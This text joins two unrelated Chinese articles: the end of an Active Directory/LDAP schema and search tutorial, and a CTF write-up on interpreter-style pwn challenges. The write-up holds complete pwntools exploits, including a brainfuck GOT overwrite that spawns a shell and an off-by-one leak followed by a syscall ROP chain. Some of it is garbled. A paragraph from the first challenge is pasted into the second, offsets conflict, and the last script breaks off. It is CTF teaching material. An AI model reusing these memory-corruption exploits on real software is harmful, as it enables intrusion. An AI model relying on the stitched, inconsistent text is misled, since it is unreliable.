LDAP里面的类和继承，跟开发里面的面向对象一样，相信有过面向对象开发经验的，理解起来并不困难。
### 1.LDAP 中的类和继承
1. 类和实例
域内每个条目都是类的实例。而类是一组属性的集合。
举个例子:
域内机器CN=WIN7,CN=Computers,DC=test,DC=local在Active
Directory里面是一个条目，里面有众多属性描述条目具体信息。
而这个条目有哪些属性是由他的类决定的。比如说这里的条目是CN=WIN7,CN=Computers,DC=test,DC=local是类Computer的实例，在objectClass属性可以看到
2. 类是可继承的。子类继承父类的所有属性，Top类是所有类的父类。在之前我们看objectClass的时候，可以看到条目是CN=WIN7,CN=Computers,DC=test,DC=local是类Computer的实例。但是我们注意到objectClass里面的值除了Computer之外，还有top,person,organizationPerson,user。这是因为objectClass保存了类继承关系。user是organizationPerson的子类，organizationPerson是person的子类，person是top的子类。
3. 类的分类
类有三种类型
* 结构类（Structural）
结构类规定了对象实例的基本属性，每个条目属于且仅属于一个结构型对象类。前面说过域内每个条目都是类的实例，这个类必须是结构类。只有结构类才有实例。比如说前面说过的Computer类。
* 抽象类(Abstract)
抽象类型是结构类或其他抽象类的父类，它将对象属性中公共的部分组织在一起。跟面对对象里面的抽象方法一样，他没有实例，只能充当结构类或者抽象类的父类。比如说top
类。注意抽象类只能从另一个抽象类继承。
* 辅助类(Auxiliary）
辅助类型规定了对象实体的扩展属性。虽然每个条目只属于一个结构型对象类，但可以同时属于多个辅助型对象类。注意辅助类不能从结构类继承
接下来让我们结合Schema NC中的类来具体理解下LDAP 中的类和继承
### 2.Schema NC中的类
如果我们要查看Schema NC的内容，除了传统使用LDAP编辑器查看
比如说ADExplorer
还可以使用微软自带的Active Directory Schema
默认没有注册，运行regsvr32 schmmgmt.dll注册该dll
然后在mmc里面添加即可
域内每个条目都是类的实例。所有的类都存储在Schema NC里面，是Schema NC的一个条目。
我们以一个实例来说明。前面说过条目CN=WIN7,CN=Computers,DC=test,DC=local是类Computer的实例。那么类Computer就存储在Schema
NC里面，是Schema NC的一个条目CN=Computer,CN=Schema,CN=Configuration,DC=test,DC=local。
我们下面来具体分析下这个条目的一些通用属性，希望大家对类条目有个大概的认识。
（1）前面说过每个条目都是类的实例，而类是是Schema NC的一个条目。因此类条目也是一个类的实例，这个类是classSchema(CN=Class-Schema,CN=Schema,CN=Configuration,DC=test,DC=local)。所有的类条目都是classSchema类的实例。
我们可以在objectclass属性里面看到。
（2）名称是Computer(通过adminDescription，adminDisplayName，cn，name属性)
（3）defaultSecurityDescriptor这个属性表明，如果在创建Computer这个类的实例的时候，如果没指定ACL，就用这个属性的值作为实例的ACL。在实例的nTSecurityDescriptor里面。
注意跟nTSecurityDescriptor区分开来，nTSecurityDescriptor是这个条目的ACL，而defaultSecurityDescriptor是实例默认的ACL。举个例子。
CN=Computer,CN=Schema,CN=Configuration,DC=test,DC=local
有两个属性nTSecurityDescriptor，defaultSecurityDescriptor。nTSecurityDescriptor是这条条目的ACL。
那Computer的实例化对象CN=WIN7,CN=Computers,DC=test,DC=local，如果在创建的时候，没有指定ACL，那么他的nTSecurityDescriptor的值就是CN=Computer,CN=Schema,CN=Configuration,DC=test,DC=local
的属性defaultSecurityDescriptor的值。
（4）属性rDNAttID表明通过LDAP连接到类的实例的时候，使用的两个字母的前缀用过是cn。
所以他的实例CN=WIN7,CN=Computers,DC=test,DC=local,使用的前缀是cn。
这个我们再举个例子
比如条目OU=Domain Controllers,DC=test,DC=locals 是一个ou，它是类organizationalUnit的实例
我们查看类organizationalUnit对应的条目CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=test,DC=local,就可以看到
所以对于他的一个实例，他的前缀是OU，OU=Domain Controllers
（5）属性objectClassCategory为1说明他是一个结构类
* 1 代表是个结构类
* 2 代表是个抽象类
* 3代表是个辅助类
（6）属性subClassOf 表明他的父类是user类
（7）systemPossSuperior约束了他的实例只能创建在这三个类container,organizationalUnit,domainDNS的实例底下。
比如computer类的一个实例，CN=WIN7,CN=Computers,DC=test,DC=local，它位于容器CN=Computers,DC=test,DC=local底下，而CN=Computers,DC=test,DC=local是container的实例，container在systemPossSuperior底下，这不违反这个约束。
（8）最后一点也是最核心的，我们来讲下他的实例是怎么获取到基本属性的。
* 这个类没有属性systemMustContain和MustContain，因此强制属性
* 这个类属性systemMayContain和MayContain是可选的属性
上面这四个属性里面的属性集合是这个类独有的属性集合，我们之前说过，类是可继承的。因此一个类的属性集合里面除了前面的四个属性里面的值，还可能来自父类以及辅助类。
* 辅助类的属性字段是systemAuxiliaryClass,这里面的computer类没有辅助类
* 父类 可以通过subClassOf查看，这里是computer类的父类是user类。然后网上递归，user类查看那四个属性，以及他的辅助类，父类。直到top类。
所以最后我们用Active DirectorySchema 查看的时候，就会看到属性的类型是可选还是强制，源类是哪个类。
### 3.Schema NC中的属性
Schema NC除了定义了Active Directory中使用的类，还定义了Active Directory中使用的属性。
关于属性，我们之前接触的够多了。这里不再多做解释。
每个属性都是一个条目，是类attributeSchema的实例
在域内的所有属性必须在这里定义，而这里的条目，最主要的是限定了属性的语法定义。其实就是数据类型，比如 Boolean类型，Integer类型等。
以CN=Object-Sid,CN=Schema,CN=Configuration,DC=test,DC=local为例。
他的attributeSyntax是2.5.5.17
oMSyntax是
通过查表
关于各种语法定义在这里不再这里一个个介绍，过于抽象，将在后面文章里面实际的案例根据需要详细讲解。
## 0x06 搜索Active Directory
通过查询目录，可以直接收集到要求的数据。查询目录需要指定两个要素
* BaseDN
* 过滤规则
### BaseDN
BaseDN指定了这棵树的根。
比如指定BaseDN为DC=test.DC=local就是以DC=test.DC=local为根往下搜索
BaseDN为CN=Users,DC=test.DC=local就是以CN=Users,DC=test.DC=local为根往下搜索
### 过滤规则
LDAP 过滤规则相对简单，很方便入手
LDAP 搜索过滤器语法有以下子集：
* 用与号 (&) 表示的 AND 运算符。
* 用竖线 (|) 表示的 OR 运算符。
* 用感叹号 (!) 表示的 NOT 运算符。
* 用名称和值表达式的等号 (=) 表示的相等比较。
* 用名称和值表达式中值的开头或结尾处的星号 (*) 表示的通配符。
下面举几个例子
* (uid=testuser)
匹配 uid 属性为testuser的所有对象
* (uid=test*)
匹配 uid 属性以test开头的所有对象
* (!(uid=test*))
匹配 uid 属性不以test开头的所有对象
* (&(department=1234)(city=Paris))
匹配 department 属性为1234且city属性为Paris的所有对象
* (|(department=1234)(department=56*))
匹配 department 属性的值刚好为1234或者以56开头的所有对象。
一个需要注意的点就是运算符是放在前面的，跟我们之前常规思维的放在中间不一样
关于查询目录还有一些高级点的用法，比如 LDAP 控件，位掩码等。这里不一一列举，将在后面实际用到的时候再列举。
## 0x07 相关工具介绍
下面介绍一些能够访问Active Directory的工具
### ADSI 编辑器
微软自带，输入adsiedit.msc可访问
### LDP
微软自带，输入ldp可访问
### ADExplorer
sysinternals系列的工具,相较于ADSI 编辑器，更方便
### The LDAP Explorer
付费版的神器，特别强大，比ADExplorer都强大，自己感受下
### ldapsearch
openldap里面的工具，在*nix里面比较常用
导出的格式为LDIF格式，有人写了个工具支持导出为sqlite文件，然后阅读sqlite文件
### adfind 与 admod
这个是最牛逼的命令行工具了，在域渗透里面的出场率极高，adfind用于查询，admod用于修改。这个系列的主要文章会围绕着这两个工具展开。
## 0x09 引用
* LDAP概念和原理介绍
* LDAP基础概念
* Active Directory Domain Services
* LDAP search filter expressions
* Active Directory: Designing, Deploying, and Running Active Directory Fifth Edition | 社区文章 |
# 解释器类型的Pwn题目总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 写在前面
在近期的比赛中，发现解释器类型的题目越来越多，因此决定进行一个专项的题目总结。
1. `Pwnable_bf`：此题是利用了`brainfuck`本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。
2. `2020 RCTF bf`：此题是因为解释器的实现存在漏洞，并不是利用语言本身的特性。
3. `2020 DAS-CTF OJ0`：此题是直接让我们写程序来读`flag`,而我们读`flag`时又需要绕过一些题目的过滤语句~
4. `DEFCON CTF Qualifier 2020 introool`：此题严格来说并不是实现的解释器，但是它仍然是直接依据我们的输入来生成可执行文件，属于广义上的解释器。
5. `[Redhat2019] Kaleidoscope`：此题创新性的使用了`fuzz`来解题。
6. `2020 DAS-CTF OJ1`：此题仍然为直接让我们写程序来读`flag`,但是他限制了所有括号的使用！
## 0x02 什么是解释器
解释器（英语`Interpreter`），又译为直译器，是一种电脑程序，能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来，只像一位“中间人”，每次运行程序时都要先转成另一种语言再作运行，因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行，然后再转译下一行，再运行，如此不停地进行下去。
## 0x03 以 pwnable bf 为例
### 题目信息
`32`位程序，开启了`NX`和`Canary`，`Glibc 2.23`。
根据题目所述信息，这是一个[`brainfuck`语言](https://zh.wikipedia.org/wiki/Brainfuck)的解释器。
由于`brainfuck`语言本身十分简单，因此本题中的核心处理逻辑就是`brainfuck`语言本身的处理逻辑。
### 漏洞分析
我们分析发现，此程序本身并没有可利用的漏洞，那么我们就可以利用`brainfuck`语言本身的特性来完成利用，因为题目没有对我们可操作的指针`p`做任何限制，也就是说，我们可以直接利用`brainfuck`语言本身来进行任意地址读写，那么我们的思路就很明显了，利用指针移动将`p`移动到`got`表，劫持`got`表内容即可。
我们决定将`putchar[@got](https://github.com/got
"@got")`改为`_start`，将`memset[@got](https://github.com/got
"@got")`改为`gets[@got](https://github.com/got
"@got")`，将`fgets[@got](https://github.com/got
"@got")`改为`system[@got](https://github.com/got "@got")`。
### 漏洞利用
首先，以下信息是我们已知的：
getchar@got位于 ： 0x0804A00C
fgets@got位于 ： 0x0804A010
memset@got位于 ： 0x0804A02C
putchar@got位于 ： 0x0804A030
p 指针地址 ： 0x0804A080
接下来我们开始构造`payload`:
1. 首先执行一次`getchar`函数。
payload = ','
2. 将指针`p`用`<`操作符移动到`getchar[@got](https://github.com/got "@got")`。
payload += '<' * 0x70
3. 然后逐位输出`getchar[@got](https://github.com/got "@got")`的值。
payload += '.>.>.>.>'
4. 然后继续篡改`fgets[@got](https://github.com/got "@got")`为`system[@got](https://github.com/got "@got")`。
payload += ',>,>,>,>'
5. 移动指针到`memset[@got](https://github.com/got "@got")`。
payload += '>' * 0x18
6. 篡改`memset[@got](https://github.com/got "@got")`为`gets[@got](https://github.com/got "@got")`。
payload += ',>,>,>,>'
7. 继续篡改`putchar[@got](https://github.com/got "@got")`为`main`。
payload += ',>,>,>,>'
8. 触发`putchar`函数。
payload += '.'
### FInal Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
bf=ELF('./bf', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./BUUOJ_libc/libc-2.23-32.so", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./bf")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./bf")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = ','
payload += '<' * 0x94
payload += '.>.>.>.>'
payload += ',>,>,>,>'
payload += '>' * 0x18
payload += ',>,>,>,>'
payload += ',>,>,>,>'
payload += '.'
sh.recvuntil('type some brainfuck instructions except [ ]')
sh.sendline(payload)
sh.send('x01')
libc.address = get_address(sh=sh,info='LIBC ADDRESS --> ',start_string='n',address_len=4,offset=-libc.symbols['getchar'])
for i in p32(libc.symbols['system']):
sh.send(i)
for i in p32(libc.symbols['gets']):
sh.send(i)
for i in p32(0x08048671):
sh.send(i)
sh.sendline('/bin/sh')
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh(Use_other_libc=True)
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x04 以 2020 RCTF bf 为例
### 题目信息
`64`位程序，保护全开，`Glibc 2.27`。
根据题目所述信息，这是一个[`brainfuck`语言](https://zh.wikipedia.org/wiki/Brainfuck)的解释器。
这道题目的难度就要比`pwnable bf`难得多，首先，题目整体使用了`C++`编写，这对于我们的逆向造成了一定的难度。
然后，本题的操作指针`p`位于栈上，且做了溢出保护：
指针的前后移动不允许超出局部变量`s`和`code`的范围。
然后和`pwnable bf`相比，支持了`[`和`]`命令：
在`brainfuck`官方文档中:
[ : 如果指针指向的单元值为零，向后跳转到对应的 ] 指令的次一指令处。
] : 如果指针指向的单元值不为零，向前跳转到对应的 [ 指令的次一指令处。
[ 等价于 while (*ptr) {
] 等价于 }
### 漏洞分析
那么接下来，我们来做一个越界测试，我们写一个如下所示的程序：
ptr++;
while(*ptr){
ptr++;
putchar(ptr);
(*ptr++);
}
getchar(ptr);
我们决定将`putchar[@got](https://github.com/got
"@got")`改为`_start`，将`memset[@got](https://github.com/got
"@got")`改为`gets[@got](https://github.com/got
"@got")`，将`fgets[@got](https://github.com/got
"@got")`改为`system[@got](https://github.com/got "@got")`。
我们可以将其理解成一个简单的`fuzz`程序，如果无漏洞发生，应当`getchar(ptr);`永远不会被执行，直到`ptr`越界指向非法内存而报错。
将其写为`brainfuck`程序应当为`+[>.+],`，我们输入到程序看看结果。
程序停了下来！说明此程序中的`[`和`]`的操作符实现必定存在问题，那么我们来看看我们读入的那一个字符被写到了哪里。
sh.recvuntil('enter your code:')
get_gdb(sh)
sh.sendline('+[>.+],')
这是执行代码前的栈情况：
gef➤ x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0 0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000100000007 0x00007f1cc12147ca
0x7ffcc837f400: 0x00007f1cc11fa901 0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0 0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0 0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70 0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f480: 0x0000000000000000 0x0000000000000000
......
0x7ffcc837f870: 0x0000000000000000 0x0000000000000000
0x7ffcc837f880: 0x00007ffcc837f890 0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b 0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980 0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0 0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980 0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90 0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90 0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000 0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420 0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000 0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed 0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000 0x0000000000000000
0x7ffcc837f940: 0x0000000000000000 0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8 0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000 0x0000000000000000
0x7ffcc837f970: 0x0000000000000000 0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0 0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998 0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001 0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000 0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390 0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa 0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430 0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452 0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2 0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501 0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f 0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540 0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579 0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2 0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659 0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684 0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3 0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4 0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747 0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774 0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc 0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1 0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805 0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846 0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884 0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1 0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f 0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949 0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993 0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd 0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8 0x00007ffcc8381fe4
这是执行后的栈情况：
gef➤ x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0 0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000700000007 0x00007ffcc837f880
0x7ffcc837f400: 0x00007f1cc11fa901 0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0 0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0 0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70 0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0 0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0 0x00005566d3bb3e88
0x7ffcc837f480: 0x0101010101010101 0x0101010101010101
......
0x7ffcc837f870: 0x0101010101010101 0x0101010101010101
0x7ffcc837f880: 0x00007ffcc837f841 0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b 0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980 0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0 0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980 0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90 0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90 0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000 0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420 0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000 0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed 0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000 0x0000000000000000
0x7ffcc837f940: 0x0000000000000000 0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8 0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000 0x0000000000000000
0x7ffcc837f970: 0x0000000000000000 0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0 0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998 0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001 0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000 0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390 0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa 0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430 0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452 0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2 0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501 0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f 0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540 0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579 0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2 0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659 0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684 0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3 0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4 0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747 0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774 0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc 0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1 0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805 0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846 0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884 0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1 0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f 0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949 0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993 0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd 0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8 0x00007ffcc8381fe4
请注意`0x7ffcc837f880`处的代码，可以发现，我们可以越界写一个字符，而这个位置恰好储存了我们的代码区域的地址，那么我们事实上可以将其修改到返回地址处，这样我们就可以程序做任意地址跳转，并且发现程序会打印我们输入的代码内容，那么我们就可以利用无截断来泄露信息。
### 漏洞利用
1. 首先我们需要先泄露原本的`bf_code`的地址末位。
sh.recvuntil('enter your code:')
sh.sendline('+[>.+],')
sh.recvuntil('x00' * 0x3FF)
code_low_addr = u64(sh.recv(1).ljust(8,'x00'))
success("code low bit --> " + str(hex(code_low_addr)))
2. 接下来我们进行低位覆盖，将`bf_code`移动到`bf_code + 0x20`的位置上，在那之后我们就能获取到`ESP`的值。
payload = code_low_addr + 0x20
payload = p8((payload) & 0xFF)
sh.send(payload)
sh.recvuntil("done! your code: ")
esp_addr = u64(sh.recv(6).ljust(8,'x00')) - 0x5C0
info('ESP addr-->'+str(hex(esp_addr)))
3. 接下来我们选择不跳出循环。
sh.recvuntil('want to continue?')
sh.send('y')
4. 重复刚才的步骤，低位覆盖，将`bf_code`移动到`bf_code + 0x38`的位置上，在那之后我们能获取到`LIBC`的基址。
sh.recvuntil('enter your code:')
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x38) & 0xFF))
sh.recvuntil("done! your code: ")
libc.address = u64(sh.recv(6).ljust(8,'x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97
info('LIBC ADDRESS --> ' + str(hex(libc.address)))
5. 接下来我们选择不跳出循环。
sh.recvuntil('want to continue?')
sh.send('y')
6. 重复刚才的步骤，低位覆盖，将`bf_code`移动到`bf_code + 0x30`的位置上，在那之后我们获取到程序加载基址。 **同时这又是`RBP`的位置。**
sh.recvuntil('enter your code:')
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x30) & 0xFF))
sh.recvuntil("done! your code: ")
PIE_address = u64(sh.recv(6).ljust(8,'x00')) - 0x4980
info('PIE ADDRESS --> ' + str(hex(PIE_address)))
7. 接下来我们可以构造`ROP`链，首先列出我们需要利用的`gadgets`。
0x000000000002155f: pop rdi; ret;
0x0000000000023e6a: pop rsi; ret;
0x0000000000001b96: pop rdx; ret;
0x00000000000439c8: pop rax; ret;
0x00000000000d2975: syscall; ret;
那么我们可以构造如下`ROP chain`：
# read(0,BSS+0x400,0x20)
ROP_chain = p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# open(BSS+0x400,0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(2)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# read(3,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(3)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# write(0,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# exit(0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(60)
ROP_chain += p64(libc.address + 0x00000000000d2975)
for i in ['[',']']:
if i in ROP_chain:
raise ValueError('ROP_chain ERROR')
8. 接下来我们选择不跳出循环。
sh.recvuntil('want to continue?')
sh.send('y')
9. 覆盖返回地址，并恢复`code`指针。
sh.recvuntil('enter your code:')
sh.sendline(p64(0) + ROP_chain)
sh.recvuntil('want to continue?')
sh.send('y')
sh.recvuntil('enter your code:')
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr) & 0xFF))
sh.send(p8((code_low_addr) & 0xFF))
10. 跳出循环即可获取`flag`。
### FInal Exploit
⚠️：概率成功，因为有概率我们不能成功的触发`[`和`]`的漏洞。
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
bf=ELF('./bf', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./bf")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./bf")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
while True:
try:
sh = get_sh()
# Your Code here
sh.recvuntil('enter your code:' , timeout = 0.3)
